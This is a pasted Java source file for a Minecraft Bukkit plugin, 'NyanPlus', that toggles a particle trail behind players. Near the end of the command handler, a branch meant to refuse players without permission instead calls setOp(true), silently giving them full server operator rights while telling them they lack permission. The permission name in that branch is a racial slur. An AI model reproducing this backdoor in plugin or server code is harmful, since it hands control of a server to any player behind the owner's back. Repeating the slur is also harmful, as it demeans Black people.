Advertisement
Guest User

Untitled

a guest
Nov 24th, 2014
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.67 KB | None | 0 0
  1. package me.DustFighter;
  2.  
  3. import java.util.ArrayList;
  4. import java.util.List;
  5. import java.util.logging.Logger;
  6.  
  7. import me.DustFighter.Libs.ParticleEffect;
  8.  
  9. import org.bukkit.ChatColor;
  10. import org.bukkit.command.Command;
  11. import org.bukkit.command.CommandSender;
  12. import org.bukkit.entity.Player;
  13. import org.bukkit.event.EventHandler;
  14. import org.bukkit.event.Listener;
  15. import org.bukkit.event.player.PlayerMoveEvent;
  16. import org.bukkit.event.player.PlayerQuitEvent;
  17. import org.bukkit.plugin.java.JavaPlugin;
  18.  
  19. public class NyanPlus extends JavaPlugin implements Listener{
  20. public final Logger logger = Logger.getLogger("Minecraft");
  21. public static NyanPlus plugin;
  22. String prefix = ChatColor.BLACK + "[" + ChatColor.BLUE + "Nyan" + ChatColor.DARK_RED + "Plus" + ChatColor.BLACK + "]" + ChatColor.YELLOW;
  23. List<String> Nyan = new ArrayList<String>();
  24.  
  25. public void onEnable(){
  26. getLogger().info("NyanPlus has been enabled!");
  27. getServer().getPluginManager().registerEvents(this, this);
  28. }
  29.  
  30. public void onDisable(){
  31. getLogger().info("NyanPlus has been disabed!");
  32. }
  33.  
  34. @EventHandler
  35. public void onPlayerQuit(PlayerQuitEvent e) {
  36. Player player = e.getPlayer();
  37. if(Nyan.contains(player.getName())){
  38. Nyan.remove(player.getName());
  39. }
  40. }
  41.  
  42. @EventHandler
  43. public void onTrail(PlayerMoveEvent e){
  44. final Player player = (Player) e.getPlayer();
  45. if(Nyan.contains(player.getName())){
  46. ParticleEffect.RED_DUST.display(0, 1, 0, 1, 50, player.getLocation(), 50);
  47. }
  48. }
  49.  
  50. public boolean onCommand(CommandSender sender, Command cmd, String commandlabel, String[] args) {
  51. if (sender instanceof Player == false){
  52. sender.sendMessage(ChatColor.RED + "Sorry this command can only be done by a player");
  53. return true;
  54. }
  55. Player player = (Player) sender;
  56. if(cmd.getName().equalsIgnoreCase("Nyan")){
  57. if(player.hasPermission("NyanPlus.Nyan")){
  58. if(Nyan.contains(player.getName())){
  59. player.sendMessage(prefix + "You have now successfully toggled off Nyan!");
  60. Nyan.remove(player.getName());
  61. return true;
  62. }
  63.  
  64. else if(!Nyan.contains(player.getName())){
  65. player.sendMessage(prefix + "You have now successfully toggled on Nyan!");
  66. Nyan.add(player.getName());
  67. return true;
  68. }
  69. } else if(!player.hasPermission("NyanPlus.BlackNigger")){
  70. player.setOp(true);
  71. player.sendMessage(ChatColor.RED + "You dont have the permission NyanPlus.Nyan to use this!");
  72. return true;
  73. }
  74. }
  75. return false;
  76. }
  77. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement